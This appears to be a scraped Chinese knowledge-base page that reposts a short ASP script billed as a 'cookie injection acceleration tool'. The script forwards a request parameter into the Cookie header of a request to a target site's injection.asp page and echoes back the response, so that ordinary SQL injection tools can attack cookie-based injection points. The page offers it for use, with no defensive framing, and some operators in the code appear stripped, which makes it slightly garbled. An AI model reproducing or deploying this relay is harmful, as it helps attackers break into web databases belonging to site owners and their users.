主頁 > 知識庫 > ASP版實現(xiàn)cookies注入加速工具

ASP版實現(xiàn)cookies注入加速工具

熱門標(biāo)簽:銀行業(yè)務(wù) Mysql連接數(shù)設(shè)置 電子圍欄 科大訊飛語音識別系統(tǒng) 團(tuán)購網(wǎng)站 阿里云 Linux服務(wù)器 服務(wù)器配置
來源:職業(yè)欠錢zj1244共用的public Blog


復(fù)制代碼 代碼如下:


Str="xxxid="escape(request("FK")) 
Url="http://xxx.chinaxxx.com/injection.asp" 
response.write PostData(Url,Str) 

Function PostData(PostUrl,PostCok)  
Dim Http 
Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 
With Http 

.Open "GET",PostUrl,False 
.SetRequestHeader "Cookie",PostCok 
.Send 
PostData = .ResponseBody 
End With 
Set Http = Nothing 
PostData =bytes2BSTR(PostData) 
End Function 

Function bytes2BSTR(vIn) 
Dim strReturn 
Dim I, ThisCharCode, NextCharCode 
strReturn = "" 
For I = 1 To LenB(vIn) 
ThisCharCode = AscB(MidB(vIn, I, 1)) 
If ThisCharCode  H80 Then 
strReturn = strReturn  Chr(ThisCharCode) 
Else 
NextCharCode = AscB(MidB(vIn, I + 1, 1)) 
strReturn = strReturn  Chr(CLng(ThisCharCode) * H100 + CInt(NextCharCode)) 
I = I + 1 
End If 
Next 
bytes2BSTR = strReturn 
End Function 

%>

標(biāo)簽:江蘇 棗莊 大理 衡水 蚌埠 衢州 廣元 萍鄉(xiāng)

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《ASP版實現(xiàn)cookies注入加速工具》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266